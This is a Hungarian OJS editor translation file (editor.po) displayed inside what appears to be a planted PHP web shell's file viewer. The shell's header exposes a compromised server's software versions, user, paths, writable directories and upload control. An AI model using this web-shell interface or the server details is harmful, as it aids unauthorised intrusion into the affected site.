KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/hu_HU/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/locale/hu_HU/editor.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-02-13T21:04:23+00:00\n"
"PO-Revision-Date: 2020-02-20 01:21+0000\n"
"Last-Translator: Gabor Klinger <[email protected]>\n"
"Language-Team: Hungarian <http://translate.pkp.sfu.ca/projects/ojs/editor/hu/"
">\n"
"Language: hu_HU\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "editor.home"
msgstr "Szerkesztői Főoldal"

msgid "editor.reassign"
msgstr "Hozzárendelés"

msgid "editor.submissionsAndPublishing"
msgstr "Beadványok és megjelentetés"

msgid "editor.submissionQueue"
msgstr "Benyújtási sor"

msgid "editor.submissionArchive"
msgstr "Benyújtottak archívuma"

msgid "editor.publishing"
msgstr "Megjelentetés"

msgid "editor.publishedIssues"
msgstr "Megjelent számok"

msgid "editor.allSections"
msgstr "Minden rovat"

msgid "editor.allEditors"
msgstr "Minden szerkesztő"

msgid "editor.me"
msgstr "Nekem"

msgid "editor.publicIdentificationExists"
msgstr "A nyilvános azonosító '{$publicIdentifier}' már foglalt egy másik objektumnál (folyóirat szám, cikk, megjelenítő vagy kiegészítő fájl). Kérem, válasszon egy egyedi azonosítót a folyóiraton belül."

msgid "editor.submissionArchive.noSubmissions"
msgstr "Nincs beküldött anyag az archívumban."

msgid "editor.submissionArchive.saveChanges"
msgstr "Mentse a változtatásokat az archívált beadványnál? A törlésre kijelölt beadványok véglegesen törlődnek a rendszerből."

msgid "editor.submissionArchive.confirmDelete"
msgstr "Biztos benne, hogy véglegesen törli az anyagot a rendszerből?"

msgid "editor.submissionReview.confirmDecision"
msgstr "Biztos, hogy rögzíteni akarja ezt a döntést?"

msgid "editor.submissionReview.emailWillArchive"
msgstr "Ez az anyag archíválva lesz miután megnyomja a Szerzőnek értesítés küldése vagy a Levélküldés kihagyása gombot."

msgid "editor.submissionReview.cannotSendToCopyediting"
msgstr "Mielőtt technikai szerkesztésre küldi az anyagot, használja a Szerző figyelmeztetése linket, hogy értesítse a döntésről és válassza ki a cikk megfelelő verzióját."

msgid "editor.submissionReview.sendToCopyediting"
msgstr "Technikai szerkesztésre küldés"

msgid "editor.notifyUsers"
msgstr "Felhasználók értesítése"

msgid "editor.notifyUsers.allUsers"
msgstr "Küldje el ezt az üzenetet valamennyi felhasználónak, akik össze vannak rendelve ezzel a folyóirattal ({$count} felhasználó)"

msgid "editor.notifyUsers.allReaders"
msgstr "Minden olvasó ({$count} felhasználó)"

msgid "editor.notifyUsers.allAuthors"
msgstr "Minden publikáló szerző ({$count} felhasználó)"

msgid "editor.notifyUsers.allIndividualSubscribers"
msgstr "Minden egyéni előfizető ({$count} felhasználó)"

msgid "editor.notifyUsers.allInstitutionalSubscribers"
msgstr "Minden intézményi előfizető ({$count} felhasználó)"

msgid "editor.notifyUsers.inProgress"
msgstr "Felhasználók értesítése..."

msgid "editor.usersNotified"
msgstr "Értesített felhasználók"

msgid "editor.notifyUsers.interestedUsers"
msgstr "Küldje el ezt az üzenetet azoknak a felhasználóknak, akik össze van rendelve ezzel a folyóirattal és jelezték, hogy a frissítésekről értesítést kérnek ({$count} felhasználó)"

msgid "editor.notifyUsers.includeToc"
msgstr "Tartalmazza a folyóirat szám tartalomjegyzékét:"

msgid "editor.editorAdministration"
msgstr "Szerkesztő adminisztrátor"

msgid "editor.issues.createIssue"
msgstr "Szám létrehozása"

msgid "editor.issues.editIssue"
msgstr "Folyóiratszám menedzselése: {$issueIdentification}"

msgid "editor.issues.currentIssue"
msgstr "Aktuális szám"

msgid "editor.issues.numArticles"
msgstr "Cikkek"

msgid "editor.issues.noArticles"
msgstr "Nincsenek várakozó tételek ehhez a számhoz."

msgid "editor.issues.confirmDelete"
msgstr "Biztos benne, hogy véglegesen törli az anyagot a rendszerből?"

msgid "editor.issues.published"
msgstr "Megjelentetett"

msgid "editor.issues.unpublished"
msgstr "Nem megjelentetett"

msgid "editor.issues.datePublished"
msgstr "Megjelentetés dátuma"

msgid "editor.issues.volumeRequired"
msgstr "A kötetszámnak pozitív számnak kell lennie."

msgid "editor.issues.numberRequired"
msgstr "A számnak pozitív számnak kell lennie."

msgid "editor.issues.yearRequired"
msgstr "Az évnek pozitív számnak kell lennie."

msgid "editor.issues.titleRequired"
msgstr "A cím kötelező a folyóiratszámhoz."

msgid "editor.issues.issueIdentificationRequired"
msgstr "Szám azonosító kötelező. Kérem, válasszon legalább egyet a folyóiratszám azonosítási lehetőségek közül."

msgid "editor.issues.issueIdentification"
msgstr "Szám azonosító"

msgid "editor.issues.publicIssueIdentifier"
msgstr "Nyilvános szám azonosító"

msgid "editor.issues.description"
msgstr "Leírás"

msgid "editor.issues.accessStatus"
msgstr "Hozzáférési státusz"

msgid "editor.issues.accessDate"
msgstr "Nyílt hozzáférés dátuma"

msgid "editor.issues.enableOpenAccessDate"
msgstr "Engedélyezi a késleltetett nyílt hozzáférést"

msgid "editor.issues.coverPage"
msgstr "Borítókép"

msgid "editor.issues.coverPageInstructions"
msgstr "(Engedélyezett formátumok: .gif, .jpg, vagy .png )"

msgid "editor.issues.uploaded"
msgstr "Feltöltött"

msgid "editor.issues.remove"
msgstr "Eltávolított"

msgid "editor.issues.proofed"
msgstr "Korrektúrázott"

msgid "editor.issues.removeCoverPage"
msgstr "Eltávolítja az oldal borító képet?"

msgid "editor.issues.removeCoverImageFileNameMismatch"
msgstr "Az a borítókép, amit törölni szeretne már nem felel meg a folyóiratszám borítóképének. Kérjük, frissítse az oldalt és próbálja újra."

msgid "editor.issues.removeCoverImageFileNotFound"
msgstr "Az a borítókép, amit törölni szeretne nem található. Lehetséges, hogy már törölt. Próbálja meg az oldalt újratölteni."

msgid "editor.issues.invalidCoverImageFormat"
msgstr "Érvénytelen oldalborító formátum. Elfogadott formátumok .gif, .jpg, vagy .png."

msgid "editor.issues.styleFile"
msgstr "Stíluslap"

msgid "editor.issues.invalidStyleFormat"
msgstr "Érvénytelen stíluslap formátum. Győződjön meg arról, hogy a beküldött fájl érvényes CSS. (Figyeljen, hogy a stíluslapokat az elején elhelyezett megjegyzésekkel el lehet utasítani.)"

msgid "editor.issues.removeStyleFile"
msgstr "Eltávolítja a stíluslapot?"

msgid "editor.issues.coverPageCaption"
msgstr "Borító felirat"

msgid "editor.issues.showCoverPage"
msgstr "Borító készítése ehhez a folyóiratszámhoz a következő elemek felhasználásával."

msgid "editor.issues.coverPageDisplay"
msgstr "Megjelenítés"

msgid "editor.issues.openAccess"
msgstr "Nyílt hozzáférésű"

msgid "editor.issues.subscription"
msgstr "Előfizetés"

msgid "editor.issues.identification"
msgstr "Azonosító"

msgid "editor.issues.access"
msgstr "Hozzáférés"

msgid "editor.issues.cover"
msgstr "Borító"

msgid "editor.issues.confirmIssueDelete"
msgstr "Az összes cikk visszakerült a szerkesztési sorba és minden kapcsolódó fájl véglegesen törlésre került. Biztos benne, hogy eltávolítja ezt a számot?"

msgid "editor.issues.resetIssueOrder"
msgstr "Ez a folyóirat egyedi számsorrendet alkalmaz. <a href=\"{$url}\" class=\"action\">Az alapértelmezettek visszaállítása</a>"

msgid "editor.issues.resetSectionOrder"
msgstr "Ez a szám egyedi rovatsorrendet alkalmaz. <a href=\"{$url}\" class=\"action\">Az alapértelmezettek visszaállítása</a>"

msgid "editor.issues.issueData"
msgstr "Folyóiratszám adat"

msgid "editor.issues.saveChanges"
msgstr "Elmenti a tartalomjegyzék változtatásait?"

msgid "editor.issues.default"
msgstr "Alapértelmezett"

msgid "editor.issues.order"
msgstr "Sorrend"

msgid "editor.issues.publicId"
msgstr "Nyilvános Id"

msgid "editor.issues.publishIssue"
msgstr "Szám publikálása"

msgid "editor.issues.unpublishIssue"
msgstr "Publikálás visszavonása"

msgid "editor.issues.previewIssue"
msgstr "Bemutató szám"

msgid "editor.issues.preview"
msgstr "Bemutató"

msgid "editor.issues.confirmPublish"
msgstr "Biztos benne, hogy megjelenteti az új számot?"

msgid "editor.issues.confirmUnpublish"
msgstr "Biztos benne, hogy visszavonja a publikált szám publikus státuszát?"

msgid "editor.issues.publicArticleIdExists"
msgstr "Nem lehet elmenteni a cikk nyilvános azonosítóját:"

msgid "editor.issues.noLiveIssues"
msgstr "Nem élő számok"

msgid "editor.issues.open"
msgstr "Nyitott"

msgid "editor.issues.pages"
msgstr "Oldalak"

msgid "editor.issues.galleys"
msgstr "Szám formátum megjelenítők"

msgid "editor.issues.galley"
msgstr "Szám formátum megjelenítő"

msgid "editor.issues.viewingGalley"
msgstr "A folyóiratszám megjelenítő megtekintése"

msgid "editor.issues.issueGalleysDescription"
msgstr "A megjelenített formátumok az egész szám tartalmával."

msgid "editor.issues.noneIssueGalleys"
msgstr "Nincs publikált formázott folyóiratszám megjelenítő."

msgid "editor.issues.galleyLabelRequired"
msgstr "Szükséges egy szám formátum címke."

msgid "editor.issues.galleyLocaleRequired"
msgstr "Egy formázott szám elhelyezése szükséges."

msgid "editor.issues.galleyPublicIdentificationExists"
msgstr "Ez a megjelenítő azonosító már foglalt."

msgid "editor.issues.backToIssueGalleys"
msgstr "Vissza a folyóiratszám megjelenítőhöz"

msgid "editor.issues.confirmDeleteGalley"
msgstr "Biztos benne, hogy törölni akarja ezt a folyóiratszám megjelenítőt?"

msgid "editor.issues.identifiers"
msgstr "Azonosítók"

msgid "editor.navigation.futureIssues"
msgstr "Jövőbeni számok"

msgid "grid.action.addGalley"
msgstr "Megjelenítő létrehozása"

msgid "grid.action.publish"
msgstr "Szám publikálása"

msgid "grid.action.addIssue"
msgstr "Szám létrehozása"

msgid "grid.action.viewIssue"
msgstr "Megtekintés"

msgid "grid.action.previewIssue"
msgstr "Előnézet"

msgid "grid.action.addIssueGalley"
msgstr "Szám megjelenítő létrehozása"

msgid "editor.navigation.issueArchive"
msgstr "Korábbi számok"

msgid "editor.article.designateReviewVersion"
msgstr "Az eredeti fájl kijelölése korábbi verziónak"

msgid "editor.article.uploadReviewVersion"
msgstr "Átdolgozott változat feltöltése lektorálási verziónak"

msgid "editor.article.showSuppFile"
msgstr "Fájl benyújtása szakmai lektoroknak"

msgid "editor.article.layoutAndProof"
msgstr "Elrendezés & Korrektúrázás"

msgid "editor.article.clear"
msgstr "Törlés"

msgid "editor.article.clearReviewer"
msgstr "Szakmai lektor törlése"

msgid "editor.article.changeSection"
msgstr "Rovat módosítás"

msgid "editor.article.setDueDate"
msgstr "Esedékesség dátumának beállítása"

msgid "editor.article.addReviewer"
msgstr "Szakmai lektor hozzáadása"

msgid "editor.article.toReviewer"
msgstr "a Szakmai lektornak"

msgid "editor.article.notifyReviewer"
msgstr "Szakmai lektor értesítése"

msgid "editor.article.initiateReview"
msgstr "Szakmai lektorálás elkezdése"

msgid "editor.article.cancelReview"
msgstr "Kérés visszavonása"

msgid "editor.article.clearReview"
msgstr "Szakmai lektor törlése"

msgid "editor.article.enterRecommendation"
msgstr "Javaslat írása"

msgid "editor.article.enterReviewerRecommendation"
msgstr "Szakmai lektori javaslat írása"

msgid "editor.article.recommendation"
msgstr "Javaslat"

msgid "editor.article.selectReviewer"
msgstr "Szakmai lektor választása"

msgid "editor.article.replaceReviewer"
msgstr "Szakmai lektor lecserélése"

msgid "editor.article.editorToEnter"
msgstr "Szerkesztői javaslat/megjegyzés a lektori véleményhez"

msgid "editor.article.uploadReviewForReviewer"
msgstr "Szakmai lektorálás feltöltése"

msgid "editor.article.peerReviewOptions"
msgstr "Lektorálási lehetőségek"

msgid "editor.article.decision"
msgstr "Döntés"

msgid "editor.article.noEditorSelected"
msgstr "Nincs szerkesztő kiválasztva."

msgid "editor.article.recordDecision"
msgstr "Döntés rögzítése"

msgid "editor.article.cannotRecord"
msgstr "A rovatszerkesztő még nem rögzítette, vagy nincs benyújtott lektorált fájl."

msgid "editor.article.reviewersSeeAuthorsVersion"
msgstr "A szakmai lektorok láthatják a szerzői verziót"

msgid "editor.article.designateDueDate"
msgstr "Esedékesség dátumának beállítása"

msgid "editor.article.designateDueDateDescription"
msgstr "Dátum vagy a hetek számának megadása esedékességként."

msgid "editor.article.todaysDate"
msgstr "Mai dátum"

msgid "editor.article.requestedByDate"
msgstr "Az időpont szerint kért"

msgid "editor.article.dueDateFormat"
msgstr "Formátum: YYYY-MM-DD"

msgid "editor.article.numberOfWeeks"
msgstr "Hetek száma"

msgid "editor.article.selectCopyeditor"
msgstr "Technikai szerkesztő hozzárendelése"

msgid "editor.article.replaceCopyeditor"
msgstr "Technikai szerkesztő lecserélése"

msgid "editor.article.editorsCopyedit"
msgstr "Technikai szerkesztés"

msgid "editor.article.showAuthor"
msgstr "A fájl megtekintésének engedélyezése a szerző számára"

msgid "editor.article.showCopyeditor"
msgstr "Mutassa a technikailag szerkesztett verziót"

msgid "editor.article.rateReviewer"
msgstr "Szakértői értékelés"

msgid "editor.article.reviewerRating.veryGood"
msgstr "5 Magas"

msgid "editor.article.reviewerRating.good"
msgstr "4"

msgid "editor.article.reviewerRating.average"
msgstr "3"

msgid "editor.article.reviewerRating.poor"
msgstr "2"

msgid "editor.article.reviewerRating.veryPoor"
msgstr "1 Alacsony"

msgid "editor.article.comments"
msgstr "Megjegyzések"

msgid "editor.article.commentsRequired"
msgstr "A megjegyzés mező kötelező."

msgid "editor.article.saveRating"
msgstr "Értékelés mentése"

msgid "editor.article.noneSelected"
msgstr "Nincs kiválasztva"

msgid "editor.article.authorProofing"
msgstr "Szerzői korrektúrázás"

msgid "editor.article.archiveSubmission"
msgstr "A benyújtott anyag elutasítása és archíválása"

msgid "editor.article.restoreToQueue"
msgstr "Visszaállítás az aktív listára"

msgid "editor.article.assignSectionEditor"
msgstr "Rovatszerkesztő hozzáadása"

msgid "editor.article.assignEditor"
msgstr "Szerkesztő hozzáadása"

msgid "editor.article.selectEditor"
msgstr "Válasszon {$roleName}"

msgid "editor.article.selectDecision"
msgstr "Válasszon döntést"

msgid "editor.article.selectLayoutEditor"
msgstr "Tördelő szerkesztő kiválasztása"

msgid "editor.article.replaceLayoutEditor"
msgstr "Tördelő szerkesztő lecserélése"

msgid "editor.article.reviewSubmission"
msgstr "Beküldött anyag szakmai lektorálása"

msgid "editor.article.resubmitForReview"
msgstr "Fájl újraküldése szakmai lektorálásra"

msgid "editor.article.resubmitFileForPeerReview"
msgstr "Kiválasztott fájl újraküldése szakmai lektorálásra"

msgid "editor.article.sendToCopyedit"
msgstr "Fájl küldése technikai szerkesztésre"

msgid "editor.article.selectProofreader"
msgstr "Korrektúrázó kijelölése"

msgid "editor.article.replaceProofreader"
msgstr "Korrektúrázó lecserélése"

msgid "editor.article.authorComments"
msgstr "Szerzői megjegyzések"

msgid "editor.article.proofreaderComments"
msgstr "Korrektúrázó megjegyzései"

msgid "editor.article.layoutEditorFinal"
msgstr "Tördelő szerkesztő utolsó"

msgid "editor.article.noDate"
msgstr "(dátum)"

msgid "editor.submissions.showBy"
msgstr "Mutassa az alábbi szerint"

msgid "editor.submissions.submitMMDD"
msgstr "MM-DD jóváhagyása"

msgid "editor.submissions.activeAssignments"
msgstr "Aktív hozzárendelések"

msgid "editor.submissions.invite"
msgstr "Meghívás"

msgid "editor.submissions.accept"
msgstr "Elfogadás"

msgid "editor.submissions.noSubmissions"
msgstr "Nincs beküldött anyag"

msgid "editor.submissions.lastAssigned"
msgstr "Legutolsó"

msgid "editor.submissions.averageTime"
msgstr "Hetek"

msgid "editor.submissions.lastCompleted"
msgstr "Legutolsó teljes"

msgid "editor.submissions.assignedTo"
msgstr "Hozzárendelés ehhez"

msgid "editor.submissions.inSection"
msgstr "Rovatban"

msgid "editor.article.schedulePublication"
msgstr "A publikálás ütemezése"

msgid "editor.article.scheduleForPublication"
msgstr "A publikálás ütemezése"

msgid "editor.article.scheduleForPublication.toBeAssigned"
msgstr "Hozzá lesz rendelve"

msgid "editor.article.payment.publicationFeeNotPaid"
msgstr "A publikációs költség nincs kifizetve. A tételek publikálási ütemezéséhez értesítse a szerzőt, hogy fizesse ki a publikálási díjat, vagy mondjon le róla."

msgid "editor.article.display"
msgstr "Megjelenítés"

msgid "editor.article.hideTocAuthorDescription"
msgstr "Szerző nevének kihagyása a tartalomjegyzékből"

msgid "editor.article.hideTocAuthorDefault"
msgstr "Alapértelmezett"

msgid "editor.article.hideTocAuthorHide"
msgstr "Kihagyás"

msgid "editor.article.hideTocAuthorShow"
msgstr "Mutat"

msgid "editor.article.cover"
msgstr "Borító"

msgid "editor.article.coverImage"
msgstr "Borítókép"

msgid "editor.article.removeCoverImageFileNotFound"
msgstr "Az a borítókép, amit törölni szeretne nem található. Lehetséges, hogy már törölt. Próbálja meg az oldalt újratölteni."

msgid "editor.article.uploaded"
msgstr "Feltöltött"

msgid "editor.article.removeCoverPage"
msgstr "Eltávolítja a borítóképet?"

msgid "grid.action.removeArticle"
msgstr "Cikk eltávolítása a folyóiratszámból"

msgid "editor.article.remove"
msgstr "Eltávolítás"

msgid "editor.article.remove.confirm"
msgstr "Biztosan törölni akarja a cikket a folyóiratszámból? A cikk előkészítés alatt állhat egy másik számnál is."

msgid "editor.issues.invalidAccessDate"
msgstr "A hozzáférési dátum nem érvényes."

msgid "editor.issues.editIssueGalley"
msgstr "A szám megjelenítésének szerkesztése"

msgid "editor.submission.production.productionReadyFilesDescription"
msgstr "A tördelőszerkesztő készíti elő a megjelentetési formátumot, majd feltölti a megfelelő <span class=\"pkp_help_title\">változatokat</span> korrektúrázásra."

msgid "editor.submission.selectGalleyFiles"
msgstr "Korrektúrázott fájl kiválasztása"

msgid "editor.submission.editorial.finalDraftDescription"
msgstr "A végleges kézirat fájlokat ebből a listából a technikai szerkesztő alakítja át technikailag szerkesztett változatúvá és feltölti a <span class=\"pkp_help_title\">technikai szerkesztés</span> alá."

msgid "editor.submission.proof.manageProofFilesDescription"
msgstr "Bármelyik feltöltött fájl hozzáadható a korrektúrázási listához az alul található négyzet jelölésével és a Keresés gomb megnyomásával: minden elérhető fájl kilistázásra kerül és kiválasztható."

msgid "editor.issues.confirmSetCurrentIssue"
msgstr "Biztos benne, hogy ezt a számot aktuálisként jelöli?"

msgid "grid.action.setCurrentIssue"
msgstr "Aktuális szám beállítása"

msgid "editor.publicIdentificationExistsForTheSameType"
msgstr "A nyilvános azonosító '{$publicIdentifier}' már létezik egy másik azonos típusú objektumhoz rendelve.  Kérjük, hogy válasszon egy másik egyedi azonosítót ilyen típusú objektumhoz a folyóiraton belül."

msgid "editor.article.publishVersion"
msgstr "Verzió publikálása"

msgid "editor.article.viewMetadata"
msgstr "Verzió metaadat megtekintése"

msgid "editor.article.editMetadata"
msgstr "Verzió metaadat szerkesztáse"

msgid "editor.article.showPublicationVersion"
msgstr "Ütemezett publikáció mutatása"

KUNTUL | JINGKONTOT |